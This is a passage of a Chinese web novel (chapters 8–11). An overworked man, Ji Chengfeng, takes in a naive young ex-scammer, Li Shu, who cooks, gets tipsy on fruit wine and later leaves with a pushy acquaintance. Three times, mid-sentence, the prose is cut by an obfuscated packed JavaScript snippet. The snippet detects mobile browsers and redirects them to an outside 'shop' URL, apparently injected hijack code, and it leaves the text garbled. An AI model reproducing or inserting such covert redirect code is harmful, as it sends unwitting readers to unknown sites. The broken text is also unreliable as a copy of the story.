他越想越觉得有可能,不然怎么会一个电话也没给他打? 还没到下班的时间,纪乘风就在那一个劲地盯着手表,到点他就想走了。 他实在是担心,那小骗子一个人在家,会不会什么都搞不定,把他家拆了。 一旁的林顺实在是看不下去了,他小声跟纪乘风道:“纪哥,你走吧,一会领导问起来,我就说你跑客户去了,我看你这坐立难安的,跟火烧屁股了一样。” 纪乘风很想反驳,但事实确实如此。 “行,谢了。”纪乘风收拾好东西就往家里赶。 纪乘风一路开回去,头一次下班天还亮着,他就已经到家门口了。 纪乘风还没开门就站在门口,感觉四周安安静静,不像家里有个人的样子。 他皱了一下眉,解开了门锁。 屋里头和屋外头完全是两模两样。 屋里的灯都亮着,厨房里头还传来炒菜下锅的滋啦声,他听到那小骗子在哼歌,青涩的嗓子也不知道是在唱些什么,反正听起来高兴得不得了。 纪乘风轻声关上了门,厨房里的饭菜香气就这样隔断在了屋里。 纪乘风像是闻到了蒜苗炒肉的香气,然后他猛地反应过来,这小骗子没开抽油烟机! 他三步做两步走过去,原本气势汹汹想要好好教育一下这小骗子的,结果迎面就对上了对方亮晶晶的眼睛。 “纪先生!”小骗子举着锅铲喊他。 纪乘风想说的话全部都咽下了去,只是低低地“嗯”了一声,然后面无表情地打开了抽油烟机。 李树还在旁边惊叹:“哇!我还不知道能开这个!屋里一下子什么味道都没有了!” 纪乘风:…… 李树笑了笑:“纪先生,等这个菜炒好就可以吃饭了,你今天回来得好早,我还担心我做饭做早了!” 8. 醉酒 李树做了三个菜,一个蒜苗炒肉、一个炒菜薹,还有一个鸡蛋肉沫汤,光闻着都觉得味道不错。 纪乘风已经很久没有下班回家吃到过热乎的饭菜了,他因为经常要加班甚至都养成了不吃晚饭的习惯,偶尔也只会点外卖。 家里这个厨房,纪乘风都只有周末不忙的时候做做,而且厨艺不敢恭维,菜经常不是咸了就是淡了,甚至还炒过一回半生不熟的,他在做饭这一块实在是没有天赋,冰箱里常年放着的翻来覆去也就那几样菜,纪乘风亲自认证很简单上手不容易翻车的。 可现在桌上这简简单单三道菜却香得很,菜还是那些菜,调料品也没有多的,唯一的变量就是做饭的人了。 纪乘风被这香味勾动了味觉,甚至觉得此情此景还能再开瓶酒。 他想着,走到冰箱那想拿一瓶度数低一点的果酒,就当是给小骗子开开味了。 可他一打开冰箱却发现里面的菜没少什么,看起来只做了一顿晚饭的量,纪乘风疑惑地问李树:“你中午吃的什么?” 李树正在那里盛饭,闻言乐呵乐呵地看向纪乘风,特别骄傲道:“我说过了的呀,我奶奶做的辣椒酱,拌饭我能吃两大碗!” 纪乘风的心脏不自觉地抽动了一下,这个小骗子中午什么菜都没有做。 他抿着唇神情严肃地训诫李树:“中午也要好好给自己做饭吃。” 李树对上纪乘风的神色,脸上的开心不自觉有些收敛了,他也不知道纪先生是因为什么不开心,他就乖巧地端着饭在那应道:“好的。” 纪乘风开了酒给李树倒了半杯,“白葡萄味的果酒,尝尝。” 那铂金色的酒水在透明高脚杯里晃荡,被厨房的灯光一照,显得流光溢彩,闪闪发亮的,漂亮得厉害,就连装酒的瓶子都是木塞子,把它打开还需要开瓶器。 李树哪喝过这些,他瞪大眼睛看着高脚杯里的葡萄酒,有些好奇地问:“纪先生,这个酒应该很贵吧?” 纪乘风也给自己倒了杯,然后面不改色地回复他:“淘宝上四十九块钱一瓶包邮,还送一个高脚杯。” 李树点点头,诚恳道:“看起来挺贵的。” 纪乘风心想,贵的他也不会拿出来给这小骗子喝,喝不出味来也是浪费了。 李树抿了一口,这酒没什么涩味,带着一股葡萄的香甜,但是又和平日里吃的那种葡萄不一样,里头带着酸涩的回甘还有发酵许久的酒味。 李树眼前一亮,欣喜道:“纪先生!好好喝。” 纪乘风也抿了口应道:“嗯。” 他看着李树爱不释手的样子,心想:果然是小孩子,就喜欢这种酸酸甜甜的口感。 这顿饭纪乘风是吃爽了,破天荒地吃了三碗饭,最后一点蒜苗都给他扒拉进了碗里。 而李树呢,喝完自己那半杯酒就一直眼巴巴地望着纪乘风,想喝又不好意思开口要。 纪乘风实在是顶不住他那眼神,又给他倒了半杯,“最后一点,今天不能喝了。” 这架势真是让纪乘风梦回家里小孩馋酒的模样…… 李树饭没吃多少,光顾着喝他那酒了,他珍惜的小口小口地抿着,甚至后面喝完了,还仰着脑袋试图把高脚杯杯壁上那一点倒进自己嘴里。 纪乘风看不下去了:“明天再喝。” 李树冲他“嘿嘿”一笑,就这么低度数的一点酒都给他喝上脸了,圆圆的脸上带着红晕。 纪乘风无语,这还真是小孩子酒量,说不定连小孩子都还不如呢,这一杯多一点的果酒,就给这小骗子喝成这样了。 李树脑袋晕晕乎乎的,他趴在桌上,一个劲地冲纪乘风笑。 纪乘风看着他这样子,本来就不聪明的人,这下子看起来就更傻了。 纪乘风无奈道:“喝醉了就去沙发上睡。” 李树死劲摇头:“没有没有……我还要洗瓦呢。” 说话都开始大舌头了。 纪乘风估计就他现在这个架势,洗三个碗得摔五个。 他懒得跟这小骗子掰扯,站起来就准备收拾桌子。 却没想到李树见他站起来了,整个人也跟个弹簧一样,“噌”地一下也从椅子上弹了起来。 吓了纪乘风一跳。 李树红着脸,有些秀气的眉毛紧紧地拧在一起,他很严肃地指着纪乘风手里的碗说:“你放下!” 纪乘风看着他,“还想喝葡萄酒么?” 李树回道:“想…香……” 纪乘风朝沙发那边一指:“现在过去,乖乖坐好等着,等我收拾完。” 李树小脑袋一点一点的,答的话却特别有劲:“好!” 然后纪乘风就看到这小骗子同手同脚、七扭八歪地走向了沙发,以一个很歪的姿势坐在了沙发上。 坐好之后还皱着眉问纪乘风:“纪先生,麻烦你帮我看看,我坐正了没有,我怎么看什么东西都是歪的。” 纪乘风无语抬头望着天花板,这小骗子真是让人哭笑不得。 好在虽然人醉了,但还是听话的,李树真就听了纪乘风的,一直乖乖地歪着身子坐在沙发上等纪乘风收拾好,不吵也不闹,就是一直在那研究往哪个方向歪着坐,看东西才是正的…… 等纪乘风把厨房收拾好,李树就一直眼巴巴地看着他,纪乘风走到哪,李树的眼神就追到哪。 纪乘风觉得自己好像那个人型逗猫棒…… 李树兴许是等了好半天也不见纪乘风给他酒,他便软着嗓子喊了一声:“纪先生……” 纪乘风:…… 他听得眉头直跳,莫名奇妙有些凶狠道:“别喊了,喊了今天也没得喝了。” 李树瘪着嘴,慢吞吞地把自己缩成一团。 纪乘风拍了拍沙发:“别装压缩包了,起来,洗漱完了再睡。” 李树实在是乖巧 ,即使醉了,也还能好好听话去洗漱。 只是纪乘风暗暗告诫自己,明天千万不能再给这小骗子喝酒了。 等李树洗漱完乖乖躺到沙发上之后,纪乘风松了口气,以为醉酒这事就这么过去了,他回了房间,打算刷会手机就睡觉。 可是让他没想到的是,不一会他就隐约听到房门口有挠门声。 声音不大,像他朋友家养的猫被关在了门外一样,不轻不重却坚持不懈。 纪乘风拧着眉,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357949|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦躁地从床上爬起来,心底后悔死了给这小骗子开酒了。 他黑着脸打开门,就看到小骗子半坐在自己房门口,挠门的罪魁祸“手”还举在半空中都没有收回。 李树微微仰头看向纪乘风,眼睛都有点不能聚焦:“纪先生……你怎么像陀螺一样在转?” 纪乘风:……他是真想转这小骗子两下子! 李树顿了顿,突然问了一句:“纪先生,你是不是讨厌我?” 纪乘风被问得莫名其妙,他眉头拧得更深了:“什么意思?” 李树垂下脑袋,就一个劲地摆头,什么话也不说了,转过去开始往沙发上爬。 纪乘风觉得自己真是有病,竟然试图跟一个喝醉了酒的小骗子沟通。 纪乘风咬牙切齿道:“要是你一会再来敲我的房门,我就把你扔出去,李树。” 李树被他这话吓得一激灵,转过脑袋来看着他,大眼睛里水雾朦胧的,带着几分委屈和难过。 纪乘风被他这个眼神看得一愣,不是,明明是这小骗子在自己家里耍酒疯,他委屈个什么劲啊?他发疯敲门,他还有理了? 李树慢吞吞地爬到沙发上,乖巧地把自己窝进被子里,软软地看着纪乘风道:“晚安,纪先生。” 纪乘风:…… 气得纪乘风不知道该怎么办才好,伸手烦躁地把自己的头发抓了又抓。 气死了。 纪乘风当天夜里做梦梦见自己的被挠门声360度立体环绕,好不容易挠门声没有了,又听到恶魔低语:“纪先生……” 导致纪乘风第二天早上醒来的时候,都恍惚门外头是不是闹了一夜。 但他一开门,那小骗子安安稳稳地睡在沙发上,姿势都没有变过。 纪乘风更郁闷了,这傻子倒是睡得香甜。 纪乘风睡不好的后果就是导致整个人一天上班都处于低气压中,黑着一张脸,恨不得把键盘敲烂。 工作一堆烂摊子,家里自己还给自己找了个烂摊子。 纪乘风觉得做人还是不能太好了,他好好的社畜生活,都被这小骗子打乱了。 家里多了一个人之后最大的改变就是……纪乘风都没办法安安心心在公司加班了。 他觉得这样不好,小骗子实在是太打乱自己的节奏了,最多……最多让对方在自己这里借宿一个星期。 纪乘风想了想,决定要尽快恢复自己正常的生活。 这边醉酒的李树晕头转向地从沙发上爬起来,脑子还处于宕机状态,他从喝醉酒趴在桌上的那一刻开始,就已经完全丧失记忆了,压根不记得都发生了些什么。 李树大早上起来照例先面朝阳光活动了一下身体,然后又开始辛勤的打扫工作。 屋子和人一样,人要每天吃饭,屋子要每天打扫。 一大早的,李树才忙活到一半,他那个板砖一样的老人机就开始疯狂唱歌了。 “我像只鱼儿在你的荷塘,只为和你守候皎白的月光,游过了四季荷花依然香,当你宛在水中央……” 李树擦干净手拿起电话,看见电话号码的那一瞬间有些愣神,他摁下接听键:“喂,杨哥。” 9. 杨哥 杨哥在电话那头很焦急地问道:“小树啊,我听说之前介绍你去的那个公司有问题?警察把你们公司都端了,你人没事吧?” 李树:“我没什么事。” 杨哥松了口气:“你人没事就好,这事是我做得不对,给你介绍工作的时候没有仔细弄清楚情况,还害得你被骗了,小树啊,你不会怪哥吧,哥也是被别人给诓了。” 李树有一瞬间的沉默。 杨哥立马道:“小树啊,哥是不是那样的人你还不清楚么?你这是不相信哥?” 李树:“我……没有。” 那杨哥就在电话里笑了一声,“没有就好,小树啊,想你杨哥了没?” 李树想了想,还是给了双方一个台阶下,“想的。” 杨哥又笑了两声,问他:“你现在住哪啊?手上有没有钱?实在没地方去,上我哪去吧。” 李树诚恳道:“杨哥谢谢你,不用麻烦了,我总不能一直要你帮忙,我打算去找一份工作,看能不能给我提供住的地方。” 杨哥:“嗐!那么麻烦干嘛,你要找工作我可以再给你介绍啊!我把你介绍到我上班的地方来,再说了,这在外面,老乡就是亲人,你不麻烦我,还想麻烦谁啊!” 李树拧着眉,面对杨哥的热情一时间有些不知道该怎么回答。 杨哥:“要不这样吧,你现在住在那,我去找你,一会带你出去吃顿饭,你也不要因为上一份工作的事有心理阴影了,咱们山里出来的孩子谁没有被骗过啊!你杨哥我总不会诓你!” 李树生怕杨哥找过来会打搅到纪先生,连忙道:“不用了,不用了,杨哥我这次出来已经很麻烦你了。” 李树不停地拒绝惹恼了杨哥,手机那头刚刚还热情到不行的人,瞬间变换了语气,杨哥有些凶恶地质问李树,“你跟我说实话,是不是嫌你杨哥混得差了?李树,你自己想想,当年你奶奶生病,你不在的时候,是不是我替你忙前忙后的照顾着?你现在这态度就是想跟我撇清关系呢?” 李树被他这话说得也不好受,他软下声音:“杨哥怎么会呢?我是真把你当我哥的。” 杨哥听到这话,语气才缓和了些,他说:“那行,咱兄弟之间也不要搞多见外的,你说你想找工作,你杨哥我帮你,你要不想来我这住,自己有住的地方我也就不强求了,上一份工作给你找得不好,是我的问题,你出来我请你吃顿饭,就当是杨哥我给你赔罪了。” 李树一脸的纠结,好半天才应了一声:“好。” 杨哥得到肯定的回答,语气又高兴了起来,“小树啊,这才对嘛!咱俩在外头才是一路人!行了,位置告诉哥,一会哥去接你。” 李树给杨哥报了个地点,是上次纪先生带他去吃塔斯汀的地方,他记得那里开车很近,过一个红绿灯就到了,他走过去的话也不远。 李树穿上纪先生给他的白色袜子、换好鞋子,揣着他那块老人机就出门了。 李树在塔斯汀门口等了没多久,一辆尾气严重开起来声音震天响的摩托车就停到了他的面前。 杨哥摘下头盔,打招呼似地拿头盔撞了李树一下,“小树,等哥多久了?” 李树笑了笑:“没有多久,才刚来一会。” 杨哥嘴巴里嚼着口香糖,抬手就把头盔罩在了李树的头上,“走,哥带你去陈记吃肉丝面!” 李树点点头把头盔系好,乖巧地上了摩托车。 杨哥骑车是个莽子,开得飞快,甚至比那路上的小汽车都还要开得快,他边开边大笑地问李树:“小树啊!跟哥兜风爽不爽?” 李树吓得紧紧地抱着他的腰,爽不爽他不知道,他只觉得那迎面刮过来的风要把他带着头盔的脑袋都吹掉了。 杨哥甚至开兴奋了,还吹着口哨高喊两声,冲李树大喊道:“小树啊!你别抱我那么紧,你感受一下,多爽啊!你以前在山里哪感受过这个!” 李树脑袋埋在他背上,别说感受,摩托车超速的失重感甚至让他想吐。 等好不容易到了地方,李树整个人都已经被吹傻了,下车的时候腿甚至有点发软,他面色苍白地把头盔递给杨哥,第一反应是,一会他自己想办法坐公交车回去吧。 杨哥看着李树这弱鸡的样子,哼笑了一声,冲他后背拍了一下,“你这也没用啊?坐个车就把自己吓成这样了?还说不用麻烦我,你这样子出去肯定是要受人欺负的。” 他说着使劲捏了一下李树的脸,“哥罩着你,有什么事都可以找哥,知道了么?” 李树笑了笑,软软地应了声:“好。” 这陈记面馆是路边的一个小苍蝇馆子,杨哥大概跟店老板很熟,说了两句李树听不懂的方言,老板就去后厨给他俩下面去了。 杨哥给李树拖了把凳子,“你在这坐着,没什么忌口吧?” 李树摇摇头。 杨哥就插着兜去了小菜区,然后夹了满满两大碟子的咸菜回来了。 杨哥冲李树得意地一偏脑袋,“使劲吃,这儿的小菜不要钱,你尝尝这萝卜,特别对味,跟你奶奶腌的一模一样。” 李树点点头,抽了双一次性筷子,夹了一筷子萝卜尝。 杨哥靠在椅子后背上,嘴里的口香糖嚼得“吧嗒”响,他问:“怎么样?是不是这个味。” 李树笑了一下,“嗯。” 杨哥:“我给你点了个肉丝面,一会还想吃什么看着菜单自己点,别客气。” 说着把菜单扔到了李树的面前。 “好。”李树应得很好,却没有看菜单的意思,他软软道:“够了的,我吃不了很多。” 杨哥:“行,那就先吃着,一会不够再加。” 不一会,老板就端了两碗面上来,热气腾腾的肉丝面闻起来确实挺香的,只是李树没什么胃口。 对面的杨哥夹起面就嗦了两大口,吃得很香。 他边吃还边跟李树说:“小树啊,你看你在这A城人生地不熟的,也没个文凭,性格又好欺负,你这样出去找工作肯定是会被人坑的,你是没见过大城市里的那些人,个个穿西装打领带的,都是人精,咱们山里来的,哪里是他们的对手,你就好好跟着哥啊,哥给你介绍工作,咱俩一起在这里扎根,把日子过好,听明白没有?” 不知道为什么,杨哥说的这大城市里的人的模样,就让李树想到了纪先生,纪先生上班的时候也是穿西装打领带的,模样很板正,像李树过马路时见到的每一个匆忙赶着去上班的人。 很普通,但是跟李树他们很不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357950|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样。 李树的脚趾忍不住在柔软的棉袜里动了动,他有点想回去了。 “李树,你想什么呢?我跟你说话呢!”杨哥皱着眉敲了敲他的碗,“怎么跟你说话,还一句都没听进去?” 李树眨巴了一下眼睛,十分诚恳:“杨哥说的很对呀。” 杨哥挑了下眉,这才满意,他嗦了口面又继续道:“你就别瞎折腾了,A城这拉屎都要收钱的地方,你还能住哪啊?到哥那边去,哥刚好有个好工作介绍给你,活轻时间少还赚得多。” 李树挑了一筷子面,“杨哥……谢谢你,但是我……” 眼看着李树有想拒绝的心思,杨哥把筷子猛地往桌上一拍,吓得李树把剩下的话都咽回去了。 杨哥不爽地皱着眉,“李树你咋这么犟呢?你这小胳膊小腿的还能做什么?你就是没在外面吃过苦,把外面的人都想得很好。” 李树垂下眼有些沉默了,他实在是不知道该怎么跟杨哥聊天,只得退让道:“好,那我去试试杨哥介绍的工作。” 杨哥哼笑了一声,给李树夹了一筷子小菜,“这还差不多嘛,早听我的多好,也不用在外面瞎折腾了,等过年,到时候带你一起回去,你奶奶知道你在城里落了脚也会开心的。” 李树:“嗯”了一声。 ………… 纪乘风今天又下了一个早班,甚至还绕道去超市买了点菜,往常他买菜翻来覆去就那几样,但是今天破天荒地挑了很多新鲜玩意。 他站在海鲜区,看着快要四十块钱一斤的基围虾,想着那小骗子一副营养不良的样子,是不是要吃点这玩意补补,还不等他想明白,手已经扯上塑料袋去装了。 等纪乘风买完东西坐进车里,整个人才后知后觉自己都买了些什么。 小孩饮料、小孩零食、小孩甜品…… 草。 纪乘风烦躁的在车里点了根烟,开始反思自己是不是有病,他瞥了一眼放在副驾驶座位底下的袋子,那里头的基围虾甚至是活的,还在瞎蹦跶。 纪乘风更烦了,恨不得爬回十几分钟前,对着买这些东西的自己就是一巴掌。 他抽烟的时候,疯狂给自己做心理建设,买都买了还能怎么办?他总不能又提着这两袋子东西回超市找人收银员退款吧? 他抽完烟“啧”了一声,满脸烦躁地打着方向盘,就这样一脚油门开回去了。 纪乘风回家解锁开门,屋里竟然安静得诡异。 那个小骗子不在。 纪乘风愣了一下,有点没回过神来,他甚至进门看了一圈,没有看到人影,又掏出手机看自己有没有未接电话。 什么都没有。 纪乘风皱着眉,不知道这是什么情况。 他注意到小骗子的包还放在沙发上,那就代表着人还会回来。 纪乘风坐到沙发上,看了看手表上的时间,已经七点了。 一个身无分文、什么都不知道的小骗子,孤身一人这么晚了还能去哪? 他觉得按照现在的情况,应该给小骗子打个电话,可拿起手机才发现,他压根不知道小骗子的手机号是多少,通话记录里留存的只有那个诈骗号码。 他对小骗子简直可以说是一无所知。 10. 离开 就在纪乘风摆弄手机的时候,门外响起了摁密码的声音。 门“啪嗒”一声打开了,满头是汗的小骗子提着个劣质的黄色塑料袋走了进来。 纪乘风还没来得及开口说什么。 小骗子看到他就先眼睛一亮,很高兴地喊了他一声:“纪先生!” 纪乘风有时候看到他这样,对比自己一脸羊萎的表情,显得自己浑身都是班味…… 纪乘风:“怎么现在才回来?” 李树不好意思地笑了笑,“出去见了个朋友,本来是想坐公交车回来的,结果发现不知道坐到哪一站才好,就自己走回来的。” 纪乘风:…… 他不知道小骗子是从哪里走回来的,但是A城这么大,随随便便开车都得半小时起步,小骗子汗涔涔的,额头上的头发都润湿了,大概是走了很久。 纪乘风皱了一下眉:“为什么不给我打电话?” 李树微微瞪大了眼睛,他很奇怪纪乘风为什么会这么问自己,他直白道:“我自己可以回来呀。” 纪乘风一怔,想明白了这两天都没有接到小骗子电话的原因了。 这小骗子遇到事情,自己一根筋就解决了,想不到要求助他。 纪乘风抿了一下唇,“我说过有事情可以给我打电话。” 李树认真地点头:“好的!” 李树低头脱鞋时,看到自己脚上的白袜子,又仰着脑袋高高兴兴地同纪乘风道:“纪先生谢谢你的袜子!很舒服!” 纪乘风有一点无语,一双袜子而已,给就给了,这小骗子还这么大张旗鼓的感谢。 等李树换好鞋走进来,纪乘风又注意到他手上的黄色塑料袋了。 纪乘风问他:“你手上提的什么?” 李树眨巴了下眼睛,“我回来的时候路过一个水果摊子。” 他边说边从袋子里往外面掏。 纪乘风就看着他,先是从袋子里掏出一个干瘪的柚子。 又从里头掏出了两个干巴巴的火龙果。 一看就是放在特价区的便宜货。 “很便宜!这些东西加起来才十块钱!”李树兴奋地告诉纪乘风。 纪乘风:…… 按照他刻薄的嘴,以往高低得要损两句,可是这小骗子身上Debuff太多了,纪乘风都已经不忍心多说了。 他只是淡淡地问:“嗯,晚上想吃什么?” 李树去洗了个手,一眼就看到了桌上纪乘风买回来的菜,他软软地问:“纪先生,你饿不饿啊?” 纪乘风其实还好,他以前忙得晚了,都直接不吃晚饭的,“不饿。” 李树手都没有擦干净,就朝纪乘风宣布:“那就等我做饭吧!我做饭很快的!” 纪乘风就看着他欢快地去厨房忙活了。 厨房里传来锅碗瓢盆碰撞的声响,小骗子声音青涩,嗓子软软的,又在哼他那乱七八糟的调子,合着刀在砧板上剁出来的响声…… 所有的所有竟然诡异地让纪乘风觉得内心很平静。 像大冬天,秋裤扎进袜子里一样的扎实。 跟李树这人一样。 纪乘风被自己这个想法逗笑了,他站起来走到厨房门口,就那样靠着门口看李树忙活,他问:“需要我帮忙么?” 李树冲他一笑,圆圆的小脸上笑意一圈一圈荡开,“那你去剥柚子吧!老板说还是红心柚,应该很甜!” 纪乘风突然觉得自己真是多嘴问这么一句了,他走过去,看着桌上那个干瘪的柚子,有点无从下手,甚至开始反思,自己为什么在超市里的时候不买一个柚子。 这样他就可以神不知鬼不觉的把这个毫无食欲的柚子换掉了。 但是很遗憾,他没有买,他只能坐在那,木着脸开始剥。 纪乘风剥开的第一下,就觉得这柚子放特价区还是太保守了,它应该放厨余垃圾里面。 干瘪缩水,像老头老太太。 纪乘风把整个柚子剥出来之后,甚至在里面还看到了白色的菌丝。 他赞叹,这小骗子跟这真菌一个眼光,都看上这柚子了。 纪乘风想了想另外找了个袋子把柚子装了起来,然后扔进了垃圾桶。 李树做饭确实很快,不一会就做好了三道菜,热腾腾的饭也出锅了。 李树出来看到桌上只剩下火龙果了,柚子不见踪影,他到处看了看,有些疑惑地问:“咦,柚子呢?” 纪乘风面不改色道:“太甜了,太好吃了,我没忍住,全给吃了。” 他要真吃了,这会高低得在医院了。 李树“嘿嘿”一笑,“真的吗?那老板没骗我!” 纪乘风:……突然觉得自己这样做是不是不太对,他真的很怕这小骗子下次还去买。 纪乘风只好告诫道:“水果放久了,吃了可能对身体不好,下回别买这种了。” 李树一愣,然后点了点头。 这次吃饭纪乘风学乖了,他没开酒,他给李树开了一瓶酸奶。 好在李树也没有多问,给什么就喝什么,喝完依旧夸赞好喝。 这一顿饭两人吃得很安静,吃完李树主动就去收拾碗筷了。 纪乘风还发现了一个有小骗子在不太方便的地方了,他没办法在洗完澡之后直接光着身子出来了。 他只能在闷热潮湿布满水汽的卫生间里把湿嗒嗒的自己擦干净,穿好了衣服再出来。 纪乘风很受不了这种粘腻感。 他从卫生间出来的时候,小骗子正乖乖地坐在沙发上,看起来是在等他。 纪乘风问:“找我有事?” 李树点点头,他站起身,“纪先生,我找到工作了,明天就能去上班了,工作的地方包住宿,这两天实在是麻烦你了。” 说着说着小骗子还弯腰给纪乘风鞠了一躬。 吓了纪乘风一跳,倒是不必行这么大的礼。 李树:“明天早上我会把纪先生家里收拾好再离开的。” 纪乘风心想,他家里干干净净的,哪里需要这小骗子收拾了。 纪乘风:“嗯,有地方去了就行。” 就这么干巴巴的一句话。 李树大大的眼睛看着纪乘风,纪乘风被他看得莫名其妙,对方似乎还在期待着他再说些什么。 纪乘风又干巴巴地来了一句:“早点休息。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357951|199711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦,好的。”李李树回道。 纪乘风回了房间,还是觉得很莫名其妙,素昧平生的两个人,他只是一时发发善心而已,看这小孩可怜才收留的,刚刚那个氛围莫名还整出来了点诡异的不舍。 仿佛还要说几句道别话似的。 果然小孩子就是这样,在外头跟别的小朋友玩得来,玩了一个小时,就觉得这辈子都要跟对方一起玩了。 纪乘风嗤笑了一下,开始日常睡前刷手机活动。 他想小骗子终于要走了,他的日常生活终于又要重新开始步入正轨了。 他乱七八糟的工作一大堆,真没空操心别的人和别的事情。 第二天早上纪乘风起床的时候,小骗子还在那睡,他站在沙发边上看了一会,对方毫无知觉,睡得小脸红扑扑的。 纪乘风看了看时间,离上班还有会,他又看了看小骗子放在一旁的包,想到了从超市里买的那一大堆零食…… 李树醒来的时候,不出意外纪乘风已经去上班了。 今天也跟前两天一样,李树爬起来勤勤恳恳的把屋里到处都打扫了一遍。 还给植物认认真真地浇了一道水,浇完之后他看着这些盆栽有些忧伤,也不知道这些小可怜下次喝到水会是什么时候。 等把家里收拾满意了,李树又给纪乘风做了晚上的菜,他把菜放进冰箱里,等人回来了热一道就能吃了。 李树背着自己的背包,最后站在玄关处看了一眼纪乘风的家,对着自己打扫的成果相当的满意。 他给纪乘风发了一条道谢的离别短信,关门离开。 在上班的纪乘风手机一阵震动,他拿起来一看是一条陌生的短信。 一看到开头的称呼,纪乘风就知道是谁发的。 【纪先生,很感谢你这些天来的照顾,纪先生真的是一个特别好特别好的人,遇见你真的很幸运!希望纪先生生活愉快、工作顺利,要记得按时吃饭,好好珍重身体。】 纪乘风看得好笑,像小学生写作业一样的车轱辘话,这小骗子在结尾还要叮嘱他好好吃饭,真逗。 纪乘风关上手机,又开始投入高强度的工作了。 叉叉公司总算是把资料什么的都备齐了,这次流程应该可以顺利走下来。 纪乘风又狠狠加了个班,晚上十点才从公司离开。 他下楼时对面公司楼里还灯火通明的,纪乘风好像也不急着回去,他坐在楼下花台边上抽了根烟,还抽空欣赏了一下天上的月亮。 这才动身开车回家。 纪乘风以前不觉得自己家里这么空旷,这两天被那小骗子闹腾得,他都觉得现在安静得有些不正常了。 明天是周末,纪乘风难得可以睡个懒觉,他打算从冰箱里拿几瓶酒,今天晚上买个醉。 他实在是太累了。 可让他没想到的是,打开冰箱,他竟然看到两碗炒好的菜被保鲜膜包着,好好的放在冰箱里。 是小骗子留给他的。 纪乘风一下子愣住了,那两碗菜的旁边甚至还放着剥好了切成块的火龙果。 纪乘风站在那垂着眼睛想,这小骗子惯会这样收买人心么? 11. 暂别1.0 周末的时候,纪乘风一般也不会干什么,睡个懒觉、收拾一下房间,再给自己做两顿饭,这一天差不多也就过完了。 他有时候也觉得自己这样活着挺没有意思的,要死不活,活人微死。 全靠咖啡和烟吊着一口气。 今天天气不错,纪乘风站在阳台想着要把该洗的都洗了。 可今天这太阳照进阳台,硬是比往日里瞧着都亮堂几分,整个阳台都有种焕然一新的错觉。 纪乘风微微一愣,他四下打量了一下,又转身朝客厅里看过去。 很亮、很干净,他低头都能在地板上清清楚楚地看清自己。 纪乘风又回头看着挂在阳台上晾晒的抹布和拖把,干干净净的抹布和拖把迎风翻飞。 这小骗子还真把他家打扫得干干净净。 纪乘风走到阳台玻璃门那,这门干净得要是晚上黑点没开灯,他估计都看不见能直接撞上去。 还有阳台那一排盆栽,这些都是纪乘风刚搬到这儿来的时候买的,一开始还有精力好好养着,后面实在是没有心力,自己都要死不活的,哪还有心思操心别的,也就慢慢地顾不上了。 可现在这些濒临枯萎腐烂的植物,又重新开始生长,冒出一点绿芽的尖尖。 纪乘风蹲在那,看着那一点冒尖的绿色,他想到小骗子笑弯了眼睛的笑脸,觉得有点不可思议,这小骗子才在他家住了两天,怎么连带着这些东西都沾染上了他的生机? ………… 李树背着包被杨哥带进了一个阴暗逼仄的巷子里。 那儿旧楼和旧楼之间紧密相连,互相遮蔽着太阳,楼里巷子里常年都是暗无天光的,楼间距近到两栋楼里的人拉开窗户,伸出去的手都能握上。 巷子里满是淤积的污水,还有怎么都清洗不干净的脏污。 杨哥领着李树往前面走,哼笑道:“小树啊,你别看这里环境差,但是房租便宜啊,一个月只要八百!而且就在市中心附近,去哪都方便,屋里还挺大的,还有独立卫生间,挺不错的了。” 李树点点头,更担心另外一件事,他问杨哥:“哥,晚上睡觉你那边有多余的床么?” 杨哥就一把搂着他,“嗨,咱哥俩还计较这些,都是好兄弟,挤一张床上也没多大点事!” 他说着又上手捏了捏李树的脸,“你又不是小姑娘,怎么,还不能跟你杨哥睡一张床啊?” 李树秀气的眉微微蹙起,“不是,哥……我晚上睡觉很不老实,喜欢乱滚乱踢。” 杨哥丝毫不在意,“嗨,没事。” 李树抿着唇,“哥,我打地铺吧。” 杨哥停下脚步,转头看着李树,神色不爽:“小树啊,你以前不是这样的,你以前很听杨哥的话的,现在这是怎么了?我说了一起睡!一起睡!我都说多少遍,你还提打地铺是什么意思?” 李树笑了笑,“杨哥,我就是担心影响你睡觉了,我随便在哪凑合都能睡,就不跟你挤在一起了。” 杨哥整个人脸色都沉了下来,“李树,你能去哪凑合啊?我对你还不好么?给你找工作,给你住的地方,把你奶奶当我亲奶奶,你怎么老是拒绝我呢?你有什么能力啊?你离了我还能去哪?” 李树也收敛了几分笑容,他圆圆的眼睛看着杨哥,往日里总是带着点亮晶晶笑意的眼睛里,此时什么都没有。 